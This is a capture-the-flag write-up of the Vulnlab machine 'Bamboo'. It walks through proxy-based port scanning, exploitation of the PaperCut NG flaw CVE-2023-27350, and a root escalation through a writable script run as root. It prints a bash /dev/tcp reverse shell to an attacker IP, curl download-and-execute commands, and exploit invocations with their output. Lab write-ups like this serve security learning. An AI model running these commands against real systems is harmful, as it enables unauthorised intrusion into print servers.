Bamboo is a Medium Linux machine from Vulnlab, created by xct. It involves getting foothold by exploiting a CVE in PaperCut NG and escalating privileges by exploiting a 0day.
Enumeration
NMAP
We start, as always, with a standard scan. Iβll use rustscan to get the open ports then nmap to get more details about them.
[~] The config file is expected to be at "/home/rustscan/.rustscan.toml" [~] File limit higher than batch size. Can increase speed by increasing batch size '-b 1048476'. Open 10.10.66.158:22 Open 10.10.66.158:3128
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
β sudo nmap -sC -sV -p22,3128 --min-rate=5000 10.10.66.158 Starting Nmap 7.94SVN ( https://nmap.org ) at 2023-12-14 10:02 EST Nmap scan report for 10.10.66.158 Host is up (0.10s latency).
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 83:b2:62:7d:9c:9c:1d:1c:43:8c:e3:e3:6a:49:f0:a7 (ECDSA) |_ 256 cf:48:f5:f0:a6:c1:f5:cb:f8:65:18:95:43:b4:e7:e4 (ED25519) 3128/tcp open http-proxy Squid http proxy 5.2 |_http-title: ERROR: The requested URL could not be retrieved |_http-server-header: squid/5.2 Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 42.67 seconds
From the scan, we see SSH and Squid ports are open.
Squid
With the Squid proxy port open, we may be able to use it to look inside. First, letβs add the IP and port to our proxychains4.conf file like this.
β proxychains -q nmap -sC -sV -p22,9173,9174,9195,9192,9191 127.0.0.1 --min-rate=5000 Starting Nmap 7.94SVN ( https://nmap.org ) at 2023-12-14 10:24 EST Nmap scan report for localhost (127.0.0.1) Host is up (0.15s latency).
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 83:b2:62:7d:9c:9c:1d:1c:43:8c:e3:e3:6a:49:f0:a7 (ECDSA) |_ 256 cf:48:f5:f0:a6:c1:f5:cb:f8:65:18:95:43:b4:e7:e4 (ED25519) 9173/tcp open http Golang net/http server (Go-IPFS json-rpc or InfluxDB API) |_http-title: Site doesn't have a title (text/plain; charset=utf-8). 9174/tcp open ssl/http Golang net/http server (Go-IPFS json-rpc or InfluxDB API) |_http-title: Site doesn't have a title. | ssl-cert: Subject: organizationName=PaperCut Software International Pty Ltd./stateOrProvinceName=VIC/countryName=AU | Not valid before: 2023-05-26T13:10:12 |_Not valid after: 2033-05-26T13:10:12 9191/tcp open sun-as-jpda? | fingerprint-strings: | ... 9192/tcp open ssl/unknown | ssl-cert: Subject: commonName=bamboo/organizationName=unknown/stateOrProvinceName=unknown/countryName=unknown | Not valid before: 2023-05-25T13:09:59 |_Not valid after: 2038-01-18T03:14:07 | fingerprint-strings: | ... 9195/tcp open ssl/unknown |_ssl-date: TLS randomness does not represent time | ssl-cert: Subject: commonName=bamboo/organizationName=unknown/stateOrProvinceName=unknown/countryName=unknown | Subject Alternative Name: DNS:bamboo | Not valid before: 2023-05-25T13:10:17 |_Not valid after: 2030-05-26T13:10:17 | fingerprint-strings: | ... 3 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-service : ... Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 78.92 seconds
We have PaperCut NG running on port 9191. Letβs configure our burp to use the proxy address. Go to proxy settings -> Network -> Connections -> Upstream Proxy Servers and add the Proxy Host and Proxy port in the respective fields. Now, accessing http://127.0.0.1:9191 should load the page.
User
The PaperCut NG version is 22.0. Letβs look for vulnerabilities for that version. By searching for related CVEs, we find this PoC for CVE-2023-27350 on GitHub: https://github.com/horizon3ai/CVE-2023-27350 We can run it as follows. I used a simple curl to test if the command actually gets executed or no
1 2 3 4 5 6 7 8
β proxychains -q python3 CVE-2023-27350.py --url 'http://10.10.66.158:9191' --command 'curl http://10.8.0.210' [*] Papercut instance is vulnerable! Obtained valid JSESSIONID [*] Updating print-and-device.script.enabled to Y [*] Updating print.script.sandboxed to N [*] Prepparing to execute... [+] Executed successfully! [*] Updating print-and-device.script.enabled to N [*] Updating print.script.sandboxed to Y
And indeed it gets executed and we got a hit on our python server
β shellcat bash 10.8.0.210 443 -w x [+] Payload: bash -i >& /dev/tcp/10.8.0.210/443 0>&1 [+] Payload written to x
If we try to send the reverse shell like the following we wonβt get a shell for some reason
1 2 3 4 5 6 7 8
β proxychains -q python3 CVE-2023-27350.py --url 'http://10.10.66.158:9191' --command 'bash -i >& /dev/tcp/10.8.0.210/443 0>&1' [*] Papercut instance is vulnerable! Obtained valid JSESSIONID [*] Updating print-and-device.script.enabled to Y [*] Updating print.script.sandboxed to N [*] Prepparing to execute... [+] Executed successfully! [*] Updating print-and-device.script.enabled to N [*] Updating print.script.sandboxed to Y
The method I found working was to transfer the reverse shell file to the machine using curl
1 2 3 4 5 6 7 8
β proxychains -q python3 CVE-2023-27350.py --url 'http://10.10.66.158:9191' --command 'curl http://10.8.0.210/x -o /tmp/x' [*] Papercut instance is vulnerable! Obtained valid JSESSIONID [*] Updating print-and-device.script.enabled to Y [*] Updating print.script.sandboxed to N [*] Prepparing to execute... [+] Executed successfully! [*] Updating print-and-device.script.enabled to N [*] Updating print.script.sandboxed to Y
Then we can just execute it with bash
1 2 3 4 5 6 7 8
β proxychains -q python3 CVE-2023-27350.py --url 'http://10.10.66.158:9191' --command 'bash /tmp/x' [*] Papercut instance is vulnerable! Obtained valid JSESSIONID [*] Updating print-and-device.script.enabled to Y [*] Updating print.script.sandboxed to N [*] Prepparing to execute... [+] Executed successfully! [*] Updating print-and-device.script.enabled to N [*] Updating print.script.sandboxed to Y
And we got a shell as the papercut user
1 2 3 4 5 6
β nc -nlvp 443 listening on [any] 443 ... connect to [10.8.0.210] from (UNKNOWN) [10.10.66.158] 57596 bash: cannot set terminal process group (520): Inappropriate ioctl for device bash: no job control in this shell papercut@bamboo:~/server$
β ssh-keygen -f papercut Generating public/private rsa key pair. Enter passphrase (empty for no passphrase): Enter same passphrase again: Your identification has been saved in papercut Your public key has been saved in papercut.pub The key fingerprint is: SHA256:o+XOCmyqdH/TqTDp5rrp5jK66ZayoT7gWCR5MQE4JnY serioton@eternal The key's randomart image is: +---[RSA 3072]----+ |o... | |+ooE | |+o.o | |o o | | + S | |. .. .+ . | |=o..++. o . | |=X.++oo= o | |&*O*=+oo= | +----[SHA256]-----+ β cat papercut.pub ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC8vSBwo/j04rxieOt6d10b9WEa5DcYY06yxBUlhIOsZDt5wQTrniE9ysK2RwJdQli2J4+knJJRlupwIyxGu9bKEbYmZhBbh3fVTXHrc48bklTeaQVyDW0lB2RWOIShh56KwF3m/Em7cPp8zVYzs/5fL5YKaYOQmwgoweis1/1cNFzvBMLKvrf3FMEqnPf3jgrj8QHBYB98RxFoteB4cGr/hIxOm2c5rQ87Qf0Sfg0dKJdsAVwRvG1tX77w7FmUeQxeCwUM78F5+cAiCBwWZ+r6WLKyzheiI3OaQkOiAxBnfL6e1+WAXyLdoh4tA1yDr8r/kBKgXJ6XJlvrp4Fybz2ZShSaXJD4okzlVBtxCRlD8v2vxKhUS/lSfs25aSea0SXtmH+lG/S5OLFnttx+hg2pltLKuKgHMzwpYggv/3wgvYJS4jwtEAhwdGsrwm6vZOhGwbYRvcx2S7aEJ1D1m0WWn1lqvfaJ3kCQHXkNpOvbvXglpTIGhxaJOE3JCOql6v8= serioton@eternal
β chmod 600 papercut β ssh -i papercut papercut@10.10.66.158 The authenticity of host '10.10.66.158 (10.10.66.158)' can't be established. ED25519 key fingerprint is SHA256:wekk48npWyS2NE8vmnCU9mj9hhAW0AvPCy+R0C4Iz48. This host key is known by the following other names/addresses: ~/.ssh/known_hosts:61: [hashed name] Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '10.10.66.158' (ED25519) to the list of known hosts. Welcome to Ubuntu 22.04.2 LTS (GNU/Linux 5.19.0-1025-aws x86_64)
...
papercut@bamboo:~$
PrivEsc
We can start enumerating by transferring linpeas.sh to the machine and executing it
There are some interesting files inside the user home directory
1 2 3 4 5 6 7 8 9 10 11 12 13
ββββββββββββ£ Analyzing .service files β https://book.hacktricks.xyz/linux-hardening/privilege-escalation#services /etc/systemd/system/multi-user.target.wants/grub-common.service could be executing some relative path /etc/systemd/system/multi-user.target.wants/pc-app-server.service is calling this writable executable: /home/papercut/server/bin/linux-x64/app-server /etc/systemd/system/multi-user.target.wants/pc-app-server.service is calling this writable executable: /home/papercut/server/bin/linux-x64/app-server /etc/systemd/system/multi-user.target.wants/pc-print-deploy.service is calling this writable executable: /home/papercut/providers/print-deploy/linux-x64/pc-print-deploy /etc/systemd/system/multi-user.target.wants/pc-web-print.service is calling this writable executable: /home/papercut/providers/web-print/linux-x64/pc-web-print /etc/systemd/system/multi-user.target.wants/systemd-networkd.service could be executing some relative path /etc/systemd/system/pc-app-server.service is calling this writable executable: /home/papercut/server/bin/linux-x64/app-server /etc/systemd/system/pc-app-server.service is calling this writable executable: /home/papercut/server/bin/linux-x64/app-server /etc/systemd/system/pc-print-deploy.service is calling this writable executable: /home/papercut/providers/print-deploy/linux-x64/pc-print-deploy /etc/systemd/system/pc-web-print.service is calling this writable executable: /home/papercut/providers/web-print/linux-x64/pc-web-print /etc/systemd/system/sleep.target.wants/grub-common.service could be executing some relative path
Specifically, the linux-x64 folder at /home/papercut/server/bin/linux-x64/
Before beginning any enumeration process, we need to find a way to login. There is an authentication bypass script in exploitdb https://www.exploit-db.com/exploits/51391 which is the same CVE as the one we initially utilized. We run it as follows and it will output what we need to do.
1 2 3 4 5 6
β python3 auth_bypass.py Enter the ip address: 127.0.0.1 Version: 22.0.6 Vulnerable version Step 1 visit this url first in your browser: http://127.0.0.1:9191/app?service=page/SetupCompleted Step 2 visit this url in your browser to bypass the login page : http://127.0.0.1:9191/app?service=page/Dashboard
We just have to visit those two URLs, and magically we are in. At this point I ran pspy64 and started clicking random things on the website to see what scripts get triggered and by which user.
Eventually I saw the below output on the pspy64 when I entered this page http://127.0.0.1:9191/app?service=page/PrintDeploy, clicked on Start Importing Mobility Print printers in the Import Mobility Print queues screen and pressed Refresh servers
As you can see, there is a bash script called server-command that got executed as root (UID=0). So maybe we can write a reverse shell payload or any other command inside it. First, letβs confirm if itβs writable
System information as of Thu Dec 14 18:29:35 UTC 2023
System load: 0.05126953125 Processes: 116 Usage of /: 40.0% of 7.57GB Users logged in: 1 Memory usage: 58% IPv4 address for ens5: 10.10.66.158 Swap usage: 0%
Expanded Security Maintenance for Applications is not enabled.
19 updates can be applied immediately. 13 of these updates are standard security updates. To see these additional updates run: apt list --upgradable
Enable ESM Apps to receive additional future security updates. See https://ubuntu.com/esm or run: sudo pro status
The list of available updates is more than a week old. To check for new updates run: sudo apt update Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Sun May 28 09:16:38 2023 from 10.10.1.254 root@bamboo:~# id uid=0(root) gid=0(root) groups=0(root)
That concludes the box. I hope you learned something new π±π